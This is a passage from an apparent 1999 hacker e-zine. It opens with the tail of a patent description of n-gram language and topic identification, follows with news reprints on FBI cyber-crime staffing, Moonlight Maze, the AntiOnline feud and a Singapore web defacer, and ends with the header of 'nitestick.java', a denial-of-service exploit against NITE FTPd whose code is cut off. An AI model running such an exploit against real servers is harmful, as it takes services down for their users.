contained therein and comparing the result of that operation with the enumerated n-grams found in another ("reference") document. This realization allows for simplifications in the search algorithm used to identify related documents. These simplifications result in the ability to classify documents regardless of the language in which they are written. A high error ("garble") rate in the original text is also tolerated. The maximum tolerable error rate for dissimilar languages is higher than the maximum tolerable error rate for similar languages. For example, the maximum tolerable error rate for Swahili text when compared against Swedish text may be as high as 25% without causing erroneous results whereas the maximum tolerable error rate for Russian text when compared against Czech text may only be as high as 15% without causing erroneous results. FIG. 1 outlines a language identification algorithm. The first step consists of parsing text, which is written in an unidentified language, into n-grams. N-grams are consecutive runs of n characters where n is any positive integer greater than zero. Moderately long n-grams (i.e., n>3) are typically more informative than shorter n-grams, as they tend to embody information about the roots of words present in the text. The second step is to compare the frequency of occurrence of the n-grams in the unidentified text with the frequency of occurrence of these same n-grams in the text of known languages. The unidentified text is then identified as being written in the language of the text with which the unidentified text best compares. The allowable n-gram characters are defined by the user. For example, the n-gram elements for a particular language may be restricted to the letters of the alphabet for languages of interest and a space (i.e., ".sub.-- "). Small letters may be converted to capital letters and multiple spaces can be reduced to a single space in order to reduce the total number of possible n-grams. Punctuation may also be ignored in order to minimize memory requirements, and enhance performance. Strings of characters may also be eliminated or replaced by a user-defined character or string of characters. FIG. 2 outlines an algorithm that is useful for identifying the language, or topic of a document. A simple illustrative example of the major steps involved follows the description of the algorithm. Known examples of text in different languages and topics are collected as reference documents. There is no restriction on the form that these reference documents may take. Sample text from any source can be used. The number of reference documents and n-grams contained in these documents must be statistically significant. It has been empirically determined that for language identification, approximately ten documents, each having approximately one-thousand characters, is a statistically significant sample size. For topic identification within a particular language, which is a finer distinction than language identification, approximately fifty documents, each having approximately one-thousand characters, is a statistically significant sample size. The reference documents are parsed into n-grams. This is accomplished by making a separate list, for each reference document, of all the unique n-grams that occur in that reference document (where n is typically fixed at some value that is useful, such as n=5). The unidentified document is also parsed into a list of unique n-grams. Weights are assigned to each unique n-gram. The weight is determined by the relative frequency of occurrence of that n-gram in that particular reference document (i.e., the number of times that an n-gram occurs in a particular reference document divided by the aggregate total of all n-gram occurrences within that reference document). Weights are assigned to each n-gram in each reference document and to each n-gram in the unidentified document. The commonality among the reference documents is then removed from the reference documents as well as from the unidentified document. This is accomplished by first listing the unique n-grams among the reference documents. Second, a commonality weight is assigned to each unique reference document n-gram based on its mean relative frequency of occurrence (i.e., the sum of the individual weights for that one n-gram from all the reference documents divided by the total number of reference documents). The commonality weight of each n-gram is then subtracted from the weight of its corresponding n-gram within each reference document and from the weight of its corresponding n-gram within the unidentified document. The unidentified document is then compared to each of the reference documents. This is accomplished by scoring the unidentified document against each of the reference documents. The score for the unidentified document with respect to a reference document indicates the degree of similarity between the two documents. Scoring the unidentified document entails first, as mentioned above, subtracting the commonality weight derived from the reference documents from its corresponding n-gram weight within the unidentified document. If an n-gram appears in the unidentified document but does not appear in the reference documents the commonality weight for that n-gram is equal to zero. Each commonality-removed n-gram weight of the unidentified document (denoted Ui) is then multiplied by the commonality-removed n-gram weight of its corresponding n-gram in a particular reference document (denoted Ri). These products are then summed (i.e., "summation of products"). ##EQU1## Each commonality-removed n-gram weight in the reference document is then squared (i.e., Ri**2). These squared terms are then summed. Each commonality-removed n-gram weight in the unidentified document is then squared (i.e., Ui**2). These squared terms are also summed. These two sums are then multiplied together to form a "product of summations". ##EQU2## Finally, the score of the unidentified document with respect to a particular reference document is the "summation of products" divided by the square root of the "product of summations". ##EQU3## The unidentified document is scored against each of the reference documents. The user can define the score-threshold required for identifying a document as being similar to a reference document with respect to language or topic. When a user-defined threshold is used, there is a possibility that an unidentified document may not be identified as being similar to any of the reference documents. The user can avoid having to set this threshold by allowing the unidentified document to be identified with the reference document that produced the highest score. The following examples demonstrate the numerical steps involved with the present invention. These examples are intended to be exemplary of the individual steps of the algorithm and should not be viewed as limitations upon the claimed invention. FIG. 3 shows a reference document for the Greenlandic language (i.e., "Nanok nunane issigtune"). No preprocessing of the example is necessary. Two-grams will be used in this example. In order to reduce the number of possible 2-grams, the small letters will be capitalized and any multiple spaces will be reduced to a single space (i.e., ".sub.-- "). The Greenlandic reference document thus becomes "NANOK.sub.-- NUNANE.sub.-- ISSIGTUNE". All unique 2-grams for the Greenlandic reference document are shown in FIG. 3. They are NA, AN, NO, OK, K.sub.--, .sub.-- N, NU, UN, NE, E.sub.--, .sub.-- I, IS, SS, SI, IG, GT, TU. A weight is assigned to each of these 2-grams. The weight of a 2-gram is determined by dividing the frequency of occurrence of that particular 2-gram by the total number of (possibly non-unique) 2-grams present in the reference (i.e., the weight of the 2-gram NA is 2/21=0.095). FIG. 4 shows a reference document for the Hawaiian language (i.e., "I hele mai nei au e hai"). All reference documents must be parsed using the same n-gram structure (e.g., 2-grams in this example). Again, in order to reduce the number of possible 2-grams, the small letters will be capitalized and multiple spaces will be reduced to a single space. The Hawaiian reference document thus becomes "I.sub.-- HELE.sub.-- MAI.sub.-- NEI.sub.-- AU.sub.-- E.sub.-- HAI". All unique 2-grams for the Hawaiian reference document are shown in FIG. 4. They are I.sub.--, .sub.-- H, HE, EL, LE, E.sub.--, .sub.-- M, MA, AI, .sub.-- N, NE, EI, .sub.-- A, AU, U.sub.--, .sub.-- E, HA. A weight is assigned to each 2-gram in the same manner as described for the Greenlandic reference document above (e.g., the weight of the 2-gram I.sub.-- is 3/22=0.136). There is no requirement that the number of n-grams contained in the reference documents be similar. The algorithm requires no preprocessing of the documents. Even capitalization and the reduction of multiple spaces to a single space is not required for proper operation of the present invention. These steps are only taken in order to enhance performance and reduce memory requirements. The commonality among the reference documents is then removed. This is accomplished by first listing all unique 2-grams within all of the reference documents as shown in FIG. 5 (i.e., NA, AN, NO, OK, K.sub.--, .sub.-- N, NU, UN, NE, E.sub.--, .sub.-- I, IS, SS, SI, IG, GT, TU, I.sub.--, .sub.-- H, HE, EL, LE, .sub.-- M, MA, AI, EI, .sub.-- A, AU, U.sub.--, .sub.-- E, HA). The commonality weights are then determined for each unique 2-gram by dividing the sum of the weights across all references for each 2-gram by the total number of reference documents. For example, the commonality weight for the 2-gram NE is (0.095+0.045)/2=0.070 whereas the commonality weight for the 2-gram NA is (0.095+0)/2=0.048. The 2-gram NA has a weight of 0.095 in the Greenlandic reference while it has a weight of 0 in the Hawaiian reference because it does not appear in the Hawaiian reference. The commonality weight represents the average contribution of a particular 2-gram to each of the reference documents. This commonality is removed from both the reference documents and the unidentified document in order to better distinguish one document from another. Commonality is removed from the weight of a 2-gram within a document by subtracting the commonality weight from the weight of the corresponding 2-gram in that document. For example, the commonality-removed weight of the 2-gram NE in the Greenlandic reference document is 0.095-0.070=0.025. The commonality-removed weight of the 2-gram NE in the Hawaiian reference document is 0.045-0.070=-0.025. The step of removing commonality improves performance and simplifies the process of identifying documents. FIG. 5 also lists the commonality weight of each unique 2-gram across the reference documents. These commonality weights are then removed from the corresponding 2-gram weight in each reference document and from the unidentified document. FIG. 6 lists the commonality-removed weights for the unique 2-grams in Greenlandic while FIG. 7 lists the commonality-removed weights for the unique 2-grams in Hawaiian. The commonality-removed weights of a particular reference document are then used to calculate a similarity score for the reference document with respect to an unidentified document. FIG. 8 shows an example of text written in an unidentified language (i.e., "Martsime nanut"). The unidentified text must be parsed into the same n-gram structure as the reference documents (i.e., 2-grams). Once again, in order to reduce the number of possible 2-grams, the small letters will be capitalized and multiple spaces will be reduced to a single space. The unidentified document thus becomes "MARTSIME.sub.-- NANUT". The total number of unique 2-grams in the unidentified document, as listed in FIG. 8 are MA, AR, RT, TS, SI, IM, ME, E.sub.--, .sub.-- N, NA, AN, NU, UT. A weight is assigned to each 2-gram. Once again, the weight of a 2-gram is determined by dividing the frequency of occurrence of that 2-gram by the total number of 2-grams present in the unidentified text (e.g., the weight of MA in the unidentified text is 1/13=0.077). The commonality weights of the reference documents are then subtracted from the corresponding 2-grams in the unidentified documents (see FIG. 8). In FIG. 9, a similarity score is calculated for the unidentified text with respect to the Greenlandic reference document. The equation for this calculation is as follows: ##EQU4## where Ui represents the commonality-removed weight of a 2-gram within the unidentified text and Ri represents the commonality-removed weight of the corresponding 2-gram within the Greenlandic reference document which is being compared against the unidentified document. Each commonality-removed weight of the 2-grams in the unidentified text is multiplied by its corresponding commonality-removed weight in the Greenlandic reference document. Each commonality-removed n-gram weight in the Greenlandic reference document is then squared. These squared terms are then summed. Each commonality-removed n-gram weight in the unidentified document is then squared. These squared terms are then summed. These sums are multiplied together to form a "product of summations". Finally, the score of the unidentified document with respect to the Greenlandic reference document is the "summation of products" divided by the square root of the "product of summations". The result as seen in FIG. 9 is a score that indicates the similarity between the unidentified text and the Greenlandic reference document. A similarity score is generated for each reference document. The document can either be identified as being similar to the reference document that generated the highest score or similar to the reference document that generated a score that exceeds a user-defined threshold. In the latter approach, an identification is not forced (i.e., the unidentified document may not be identified as being similar to one of the reference documents). Also, with the latter approach, the unidentified document may be identified as being similar to a number of reference documents if these reference documents generate a score that exceeds the user-defined threshold. Certain text strings in a particular language, such as "is", "the", "and", "with", "for" etc. in English, useful for language identification, are normally useless for topic identification. The present invention solves the problem of finding distinctions among documents with respect to topic by removing the commonality among documents. Removing commonality among documents entails calculating the average for each n-gram frequency of occurrence within all of the documents and then subtracting these averages from each corresponding n-gram frequency of occurrence within each document. The removal of commonality makes the job of determining if a document is similar to another document simpler. Sensitivity to topic is achieved with no human intervention, irrespective of the language of the document. The user can again set the threshold for determining when documents are similar to each other with respect to topic. This algorithm works equally well in any language but topic identification only works when comparing documents that are written in a common language (or several closely related languages). This is because the topic is related to the pattern created by the n-grams. The pattern created by the n-grams is controlled by the language of the document. Topic identification can be done as easily in languages that have relatively few letters, such as English, as in languages that have many characters, such as ideographic languages (e.g., Japanese). While not wishing to be bound by theory, it is believed that the advantageous results of the present invention are obtained because the topic of a document constrains the n-grams used to discuss the topic. Topic identification then becomes a determination of how similar the documents are with respect to the n-grams used. FIG. 10 outlines the algorithm that is used to retrieve documents from a database. The documents can be retrieved with respect to a desired language or topic. A database typically contains numerous documents concerning many topics that are written in different languages. There is no requirement that these documents be in any particular form. An n-gram array is created for each database document. This is accomplished by making a list, for each database document, of the unique n-grams that occur in that document. Weights are assigned to each unique n-gram. The weight is determined by the frequency of occurrence of an n-gram in a particular document (i.e., the number of times that an n-gram occurs in a particular document divided by the aggregate total of all n-gram occurrences within that document). Weights are then assigned to each n-gram in each database document. The commonality among the database documents is then removed from the database documents and the query. This is accomplished by first listing all the unique n-grams within all of the documents. Second, a commonality weight is assigned to each unique n-gram based on its mean relative frequency of occurrence. The commonality weight for each n-gram is then subtracted from the weight of its corresponding n-gram within each database document and from the weight of its corresponding n-gram within the query. The query is submitted by the user. The query represents the type of document that the user wishes to retrieve from the database (i.e., documents with a similar topic or language). There is no requirement on the form that the query must take. Note that a query concerning a topic of interest will result in documents retrieved on that topic that are written in the language of the query. Documents on that topic that are written in a language that is different from the query will normally not be retrieved. This is because different languages typically use different n-grams to represent the same topic. The query is then parsed into n-grams. This is accomplished by making a list of all the unique n-grams that occur in the query. Weights are assigned to each unique n-gram within the query. The weight is determined by the frequency of occurrence of that n-gram within the query. The commonality weights are then subtracted from the corresponding 2-grams within the query. The query is then compared to each of the database documents by scoring the query against each of the database documents. The score is obtained by first multiplying each commonality-removed n-gram weight of the query (e.g., Qi) by the commonality-removed weight of its corresponding n-gram in a particular database document (e.g., Di). These products are then summed (i.e., "summation of products"). ##EQU5## Each n-gram in the database document is then squared (e.g., Di**2). These squared terms are then summed. Each n-gram in the query is then squared (e.g., Qi**2). These squared terms are then summed. These sums are then multiplied together to form a "product of summations". ##EQU6## Finally, the score of the database document with respect to the query is the "summation of products" divided by the square root of the "product of the summations". ##EQU7## A score is generated for each database document with respect to the query. The user defines the threshold score that is used to determine whether a database document is similar to the query with respect to language or topic. The examples given above concerning the steps involved in language identification are applicable for describing the steps involved in this algorithm for retrieving documents from a database. N-grams can also be used for solving the problems associated with sorting database documents into categories containing like documents. The algorithm of the present invention does not require any guidance from the user or any preprocessing of the database beyond that described above. The database can be sorted into categories of language or topic. Documents can easily be cross-referenced into different categories (i.e., one document may be sorted into a particular language category as well as a particular topic category). FIG. 11 outlines the algorithm that is used to sort database documents into categories. The documents can be sorted with respect to a language or topic. A database typically contains numerous documents. These documents may deal with different topics and may be written in different languages. There is no requirement that these documents be in any particular form. An n-gram array is created for each database document. This is accomplished by making a separate list, for each database document, of the unique n-grams that occur in that document. Weights are assigned to each unique n-gram. The weight is determined by the frequency of occurrence of that n-gram in that particular document. Weights are then assigned to each n-gram in each database document. The commonality among the database documents is then removed from each database document. This is accomplished by first listing the unique n-grams that occur in the documents (i.e., temporarily thinking of the separate database documents as one large document, then listing the unique n-grams that occur in this one document). Second, a commonality weight is assigned to each n-gram based on the frequency of occurrence (i.e., the total number of occurrences in all of the database documents of that particular n-gram divided by the total number of unique n-grams within all of the database documents). Each commonality weight is divided by the total number of database documents. The commonality weight of each n-gram is then subtracted from the weight of its corresponding n-gram within each database document. Each database document is then compared to each of the other database documents. This is accomplished by scoring each database document against each of the other database documents. The score consists of first multiplying each commonality-removed n-gram weight from a database document (e.g., Dli) by its corresponding commonality-removed n-gram weight from the database document that is being compared (e.g., D2i). These products are then summed to form a "summation of products". ##EQU8## Each commonality-removed n-gram weight in the first database document is then squared (e.g., Dli**2). These squared terms are summed. Each commonality-removed n-gram weight in the second database document, which is being compared to the first database document, is then squared (e.g., D2i**2). These squared terms are summed. These sums are then multiplied together to form a "product of summations". ##EQU9## Finally, the score of the first database document with respect to the second database document is the "summation of products" divided by the square root of the "product of summations". ##EQU10## A score is generated for each database document with respect to each of the other database documents. The user defines the threshold that the score must attain in order for two documents being compared to be declared similar. Similar documents are then sorted into like categories with respect to language or topic. The examples given above concerning the steps involved in language identification are applicable for describing the steps involved in this algorithm for sorting database documents. Present research activities in text processing have focused on content-based (i.e., linguistic) analysis. The present invention has focused solely on a pattern recognition (i.e., non-linguistic) analysis. The present invention does not require any additional information pertaining to syntax, semantics or grammar. The benefits of applying n-gram analysis to topic identification have not been fully appreciated until now. The topic identification method of the present invention operates in any language with equal ease (but in only one language at a time). It can be initiated by a non-reader of the text language and requires no special training. The method is robust in the presence of garbled text (i.e., text that contains errors). The user sets the threshold for determining if documents are similar. Uninformative commonality is automatically removed from the documents. Changes and modifications in the specifically described embodiments, especially in the programming language used to implement this invention and the specific formula for the similarity score derived from the n-gram weights, can be carried out without departing from the scope of the invention which is intended to be limited only by the scope of the appended claims. * * * * * 39.0 To Few Comp Crime Experts in FBI Says Vatis ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by netmask Michael Vatis, director of NIPC, told the Senate Judiciary Technology and Terrorism Subcommittee on Wednesday that only eight FBI field offices are adequately staffed to handle computer crime cases. Vatis also said that the FBI has 800 pending cases and their workload doubles every year. Nando Times http://www2.nando.net/noframes/story/0,2107,500042584-500069214-500140256-0,00.html FBI shorthanded against computer hackers Copyright © 1999 Nando Media Copyright © 1999 Associated Press From Time to Time: Nando's in-depth look at the 20th century By TED BRIDIS WASHINGTON (October 7, 1999 11:23 a.m. EDT http://www.nandotimes.com) - The FBI is teaching its agents across the country to investigate threats posed by computer-savvy terrorists and hackers seeking to break into the nation's most sensitive data networks, but so far has been able to train agents in only a handful of its biggest field offices. That shortfall, disclosed in congressional testimony by the head of the FBI's National Infrastructure Protection Center, comes during a time of growing recognition within the federal government that even some of the nation's most critical computer networks are inadequately protected. Michael Vatis, director of the center, told the Senate Judiciary technology and terrorism subcommittee Wednesday that the FBI has trained teams of at least seven cyber-agents in field offices in Washington, New York, San Francisco, Los Angeles and four other cities. But "because of resource constraints, the other field offices have only one to five agents dedicated to working on ... (computer intrusion) matters," Vatis told the Senate panel. "Our bench is thin, very thin," Vatis told The Washington Post. "We have put together a good starting lineup. But if we had several major incidents at the same time, we would be severely stretched, to put it mildly." The FBI's case load for computer hacking and intrusion investigations continues to grow dramatically, too. Vatis said the agency has 800 pending cases, and the number of those investigations has doubled every year for the past two years. The General Accounting Office, the investigative arm of Congress, released a report earlier this week warning that computer systems at the Defense Department, law enforcement and private industries are at risk because of poor management and lax oversight. Experts said it will take more than the federal government to tighten security on its networks. "All our efforts to put the federal government's house in order and to serve as a model for industry will be of little service if our government information systems are impossible to break into, but the electrical power that they operate on is shut down by malicious actions of a foreign government," said John Tritak, director of the government's Critical Infrastructure Assurance Office. Vatis also acknowledged for the first time publicly that the FBI believes that hackers suspected of breaking into some of America's most sensitive networks earlier this year originated from Russia. Those attacks, dubbed "Moonlight Maze" by investigators, were first reported in July by a London newspaper. Citing congressional sources, it said the attackers may have stolen some of the nation's most sensitive military secrets, including weapons guidance systems and naval intelligence codes. The intruders have stolen "unclassified but still-sensitive information about essentially defense technical research matters," Vatis said. "About the furthest I can go is to say the intrusions appear to originate in Russia," he told the subcommittee. @HWA 40.0 The Truth About AntiOnline? ~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by John Vranesevich So what exactly is the truth about AntiOnline and John Varensvich? This New York Times article would make it seem like he is on the side of truth justice and the American way. We recommend you read all four articles linked to below before you make up your mind. NY Times - Tracker of Hackers Goes From Friend to Foe (Registration Required) http://www.nytimes.com/library/tech/99/10/cyber/articles/08hackers.html Forbes - Go Ahead and Sue http://www.forbes.com/columnists/penenberg/1999/0927.htm CyberWire Dispatch Aug 1999 - Jacking In From the "Pine-Sol" Port http://www.hackernews.com/orig/CWD0899.html Ottawa Citizen - Spy vs. Spy In the Hacker Underworld The Truth About AntiOnline? http://www.attrition.org/negation/ottawa.html Tracker of Hackers Goes From Friend to Foe By MATT RICHTEL hen malicious hackers broke into Pentagon computers in March of last year, one of them contacted John Vranesevich to offer him an exclusive interview. For Vranesevich, the 20-year-old founder of a hacker news Web site called AntiOnline, the event marked the apex of his relationship with the hacker underground. It has been downhill ever since. Once the confidant of computer hackers, Vranesevich is now their sworn enemy. He is marketing his services to companies seeking ways to protect their systems from hackers, and even the FBI is turning to him for assistance. At the same time, an influential group of hackers is accusing Vranesevich of turning on them and betraying their confidence. They also say he has secretly promoted illegal hacking attempts himself. Vranesevich says his Web site, which now focuses on general computer security issues, is attacked hundreds of times a day by hackers. But he says he understands why hackers are coming after him -- and to an extent, he sees the attacks as a badge of honor. "I'm a threat to them," he said. "I am trying to put a stop to the maliciousness they've gotten away with for years." The hackers' reversal stems from Vranesevich's decision last year to go from heralding hacker exploits to hunting hackers. Some of the same techniques he once used to follow and publicize the attacks of hackers -- and that wound up getting him quoted as a "hacker expert" in dozens of newspaper articles -- he now uses to explain their methods to government and corporate security personnel. Vranesevich says his about-face came because he decided computer hackers, who say they are exposing security flaws for the sake of a greater good, are really just petty vandals. But some hackers say he sensationalized their exploits to begin with, then turned on the very hackers who helped him understand their ways and create a thriving Web site. "One day he was friends with all these people breaking into .mil [military] sites, and the next his stated objective is to hunt these people down," said Jeff Moss, organizer of the annual Defcon hacker convention and the Black Hat Briefings, a corporate and government security conference. "I guess he's gotten where he wants to be." Vranesevich has come a long way in a short time. At the age of 20 he has established a Web site that has made quite a name for itself in hacker and security circles and has attracted an undisclosed amount of venture capital financing from a Cleveland-based company called Darice Inc. The Web site boasts advertising revenue from mainstream sources like Microsoft and Verisign. Vranesevich's interest in computers and networking dates back to his early childhood in Beaver, Pa., north of Pittsburgh. He started AntiOnline while he was in junior high to convey the things he was learning about computing and network security, and it grew from there. Vranesevich said that in high school, he helped expand the school district's computer network from 6 to 600 computers. He enrolled at the University of Pittsburgh in the fall of 1997 and continued to make a name for himself -- but not necessarily a positive one in the eyes of the university's administration. In fact, they tried to boot him out for hosting the AntiOnline site on the school's network, calling it an inappropriate use of computer resources. The university allowed the site to go back up following media reports of the event. There was also an outcry from hackers -- both the malicious variety and those just interested in messing with computers -- who sent e-mail to the university saying it had shut down a valuable resource. A symbiotic relationship between hackers and Vranesevich was born. The AntiOnline site became a place where hackers could explain their motivations, voice their opinions, even brag about their exploits. Vranesevich also spent time in the Internet chat rooms frequented by hackers and gained their trust. For Vranesevich, the relationship brought traffic to the site and intensifying media coverage. Vranesevich started changing his mind about hackers in September 1998. He learned that a California hacker had promised to sell information about how to navigate United States military networks to an alleged terrorist. (Vranesevich said he learned this from the hacker's mother, who called him the night her son was raided by the FBI.) Vranesevich said he once thought that hackers were somehow patriotic in their efforts to expose security holes, but he became convinced they were malicious and selfish. "I guess I became disillusioned," he said, referring to the deal made by the California hacker. "He had done the most eloquent manifestos [of hacker ideals], then here he is selling maps to someone claiming to be a terrorist." The new Vranesevich started to help government officials find people accused of malicious hacking. He said he turned over information to the FBI that led it to raid the home of a hacker named Brian Martin in connection with an attack on The New York Times' Web site in September 1998. Martin acknowledges that his home was raided by the FBI several months later, but he was never arrested or charged, and he denies involvement in the attack. But some hackers have a different theory about Vranesevich's motivations. They suggest that he used hackers to make a name for himself, then abandoned them -- or, they suggest, he felt pressure from government authorities to turn his back on them. Martin, who admits to some malicious hacking in his past but says he has been an above-board security consultant for years, is a member of Attrition.org, a hacker group that has spearheaded an effort to discredit Vranesevich. The group has posted e-mail messages on its Web site that it says demonstrate that Vranesevich has made false statements about hackers. The group also says that Vranesevich paid a hacker to break into the Web site of the United States Senate so that AntiOnline could be the first to report it -- an accusation Vranesevich denies. "The problem is, if any single security professional reads his site and puts credence in his accusations, then it affects not only our reputation, but our ability to work," Martin said. He added that Vranesevich, because of his alleged dealings with hackers, is guilty of the same misdeeds he has been ascribing to Martin's group. Martin and other members of Attrition.org contend that Vranesevich himself has been the subject of an FBI investigation. Special Agent Jim Margolin of the FBI said the agency does not comment on whether it has investigated someone in the past. "But we continue to consult with Mr. Vranesevich, and that should say something about our assessment of his bona fides," he said. Wherever the truth lies, Vranesevich now has little standing among hackers. At the Defcon convention in Las Vegas in July, a "Wanted" poster circulated bearing Vranesevich's picture and calling him a "narc." Meanwhile, though, his site continues to grow, albeit with a new constituency. Vranesevich runs it out of a rented three-room office space in Beaver, and said it gets "hundreds of thousands" of visitors each month. He has one full-time employee, paid and unpaid freelancers, and eight informers who keep him up to date on hacker activity. Among the site's users are research firms who are putting faith in Vranesevich to help them understand computer security. For example, he is working with Klein Associates, a consulting firm near Dayton Ohio, that advises companies on decision-making techniques. "He has a tremendous amount of knowledge in areas of security and hacking," said Terry Stanard, a research associate with Klein. "He's really impressive once you get to know him and talk to him." Vranesevich said he is still keeping a keen eye on hackers. He and his one full-time employee lurk in hacker chat rooms under assumed names, looking to profile hackers and their motivations and methods. He said the way to catch hackers is to understand them as individuals and as a group, not necessarily to comb through evidence left on their computers. "I don't want to be an expert in the gun; I want to be an expert in the people who pull the trigger," Vranesevich said. To make matters more complicated, the hackers are aiming at him. Related Sites These sites are not part of The New York Times on the Web, and The Times has no control over their content or availability. o AntiOnline http://www.antionline.com o Attrition.org http://www.attrition.org Matt Richtel at mrichtel@nytimes.com welcomes your comments and suggestions. -=- `(The remaining articles appeared in last weeks issue) 41.0 Software Liability ~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond Your software is full of bugs, security holes, and sometimes just plain does not work. Programers are apalled at what they are asked to ship out the door, buggy code, unfinished products, software they would never run on their own machine. Software companies don't care when customers ask why. They turn a blind eye and ask, "Who, me?" Shift http://www.shift.com/shiftstd/SiteMap/frames/mag7.6.asp?searchfor=7.6bombsquad Bombsquad The tester knew things were getting ugly. He could hear the edge of panic in his manager's voice. Their company was developing its next major software release, a multiplayer PC videogame. Its launch was planned for the lucrative summer buying season, but the work was now deep into a peculiarly eye-glazing eleventh-hour rush. Management hadn't given the programmers nearly enough time to do a decent job, and it showed. The project was crumbling with the grim, exponential logic of software development: The more eye candy the programmers crafted, the more bugs erupted. Though the Tester didn't know the actual size of the program, it was probably several hundred thousand, even several million lines of code. "When it gets to that point, it's really hard to tell what might be wrong with it, but there's probably a lot," he says. It was the Tester's job to find any major bugs, a task that usually requires a week or more. This time, he didn't have it. "They handed me the game and said I had the weekend." The marketing department was breathing fire; they had been hyping the game as the hottest new entry in the category. "They'd tell you they've got this multimillion-dollar ad campaign, and that you're fucking up if you don't ship on time. So eventually even the developing leads are saying, 'OK, let's just get it out there,'" he says. The Tester's only chance to prevent the game from shipping was to find a "show-stopper"-a bug so severe it could bring the whole system to a halt. He quickly went to work, hooking the game up to his testing network-a collection of eight high-end computers rigged up to emulate the stresses of online play. By Sunday, after nonstop work, he'd discovered scores of bugs. One was particularly nasty: The key sequence 'control-alt-delete,' a move that gamers employ to shut down a program if it accidentally freezes, would instead shut down the whole computer. Any information that wasn't saved would be lost. The only worse thing, he marvelled, would be to have a program that actively destroyed data. @HWA 42.0 PHONELOSERS PARODY ~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by BHZ, Friday 8th October 1999 on 6:35 pm CET We published earlier that the PLA site (www.phonelosers.org) was hacked, but we were informed that it was a hoax. Thanks to Acos and White Wampire for informing us. http://www.phonelosers.org 43.0 TAKING HACKER TO COURT NOT SO EASY ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Thursday 7th October 1999 on 11:35 pm CET Lawyers say that computer laws here (Singapore) might not be enough if the hacker, "mistuh clean", is a foreigner and lives abroad. A police report may have already been filed, but legal and territorial issues could get in the way of finding and punishing the hacker who recently defaced several local websites. Read more http://www.straitstimes.asia1.com/cyb/cyb1_1007.html Taking hacker to court not so easy Lawyers say that computer laws here might not be enough if hacker, mistuh clean, is a foreigner and lives abroad By SAMANTHA SANTA MARIA A POLICE report may have already been filed, but legal and territorial issues could get in the way of finding and punishing the hacker who recently defaced several local websites. The hacker, who goes by the name of mistuh clean, gained notoriety for hacking into eduMALL, a collaboration between the Education Ministry, Kent Ridge Digital Labs and the National Computer Board (NCB), and a Television Corporation of Singapore web page. The NCB said on Tuesday that it had made a police report. But while authorities here may be able to identify the perpetrator, taking him to court here could be quite another matter altogether, said lawyers yesterday. The Computer Misuse Act states that as long as the offence was against a local property, it is a crime, regardless of where it was committed. But this has yet to be put to a legal test. Lawyer Rajesh Sreenivasan, who handled a cybersmear case, said so far, only people in Singapore have been charged under the Act. The only foreigner to be charged and sentenced was the 15-year-old Myanmar national who hacked into Mediacity, he added. He said: "The question is this: should it be discovered that mistuh clean is a foreigner living abroad, will the law still work? There is a need for the courts to make a judicial decision on this matter." The next obstacle would be to get the perpetrator to Singapore. Said another lawyer: "We would then run into a host of international policy issues. Would the authorities in his country of origin be willing to arrest him? Would they hand him over to us?" Associate Professor Ang Peng Hwa, vice-dean of Nanyang Technological University's school of communication studies and a lawyer by training, pointed out that mistuh clean may have done himself a disservice by hacking into two US companies. "Now the matter is also US-related," he added. The hacker hit the Silicon Valley-based Internet Image two weeks ago and Massachusetts firm Webyes last Thursday. Neither company responded when asked if they had reported the incidents to the police. Hackers who contacted The Straits Times were in agreement that mistuh clean had targeted Singapore-related websites because of their relatively lax safeguards. Veteran Canadian hacker vo0do0 said in an e-mail: "Domains with .sg are extremely insecure. Almost every single one in existence is vulnerable or open to something." @HWA 44.0 RUSSIA RESPONDS TO HASTY SPYING CONCLUSIONS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Help Net Security http://www.net-security.org/ by Thejian, Thursday 7th October 1999 on 11:15 pm CET After first India labelled insinuations about "cyberattacks" from their side as ridiculous suggestions, now Russia responds to reports that Russian intelligence stole information from US military. Even if the requests came from Moscow, they've got a point when they say "a Web server is a public service. Anybody can connect." (when going on in that reasoning though, there was never actually said that the Russian government ordered such an action, just where the attacks appeared to come from, mind you) Wired http://www.wired.com/news/news/politics/story/22130.html Russia Spies? 'We Know Nothing' Reuters 9:00 a.m. 7.Oct.99.PDT MOSCOW -- Reports that someone in Russia stole information from US military computers do not prove a Kremlin cyber-spy ring has been uncovered, Russia's Foreign Intelligence Service said Thursday. Michael Vatis of the Federal Bureau of Investigation told a Senate subcommittee Wednesday the FBI thought computer hackers located in Russia had filched sensitive information from US military networks. Vatis was disclosing a probe, Moonlight Maze, under way for more than a year, which has been tracking what he called "a series of widespread intrusions into Defense Department, other federal government agencies, and private sector computer networks." But Boris Labusov, spokesman for Russia's SVR Foreign Intelligence Service, said Russian spies would probably have been clever enough not to allow themselves to be traced. "As I understand, apparently they determined the route of the infiltrations, and the requests came from Moscow," he said. "Do you think Russian special services are so stupid as to engage in such activities directly from Moscow?" said Labusov. "For decades, everybody has written about how clever the KGB and Soviet intelligence are. Why should one think we suddenly became less clever in the last few years?" He said the culprits could have been amateur computer hackers seeking thrills, or even intelligence agents from a third country acting out of Moscow to avoid detection. "A Web server is a public service. Anybody can connect." An American official had said suspects in the case were thought to come from the 275-year-old Academy of Sciences, Russia's top scientific research body, which groups thousands of senior scientists at institutes and universities across the country in virtually all fields. The academy denies any involvement. "[Reports of intrusions] could be true: There is such a profession -- people who sneak into computer systems," academy spokesman Igor Milovidov said. "But we don't take part in that. That is complete gibberish." Copyright 1999 Reuters Limited. @HWA 45.0 KeyRoot presents nitestick.java ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Contributed by Wyze1 /* ____ ______ __ ___ _____ ____ __________ * / / / ___/ \ \/ / / \ / \ ____ /___ ___/ * / /__ / /__ \ / / <> / / __ \ / \ / / * / ___/ / __/ / / / _/ \ / / __ \ / / * / \ / /__ / / / /\ \ \____/ \ / \ \ * /__/\__\ \_____/ /__/ \_/ \__\ \____/ \__\ * * Proudly Presents: nitestick.java * Coded By: Wyzewun [w1@antioffline.com] * * This will lock up any version of NITE FTPd (I tested version 1.051b on a * Windows 98 box). The FTP daemon will not work at all while it is being * attacked, and the system becomes slow to the point of being pretty darn * un-usable and will probably eventually just fall over completely. * * Shouts to all of my Peepz in 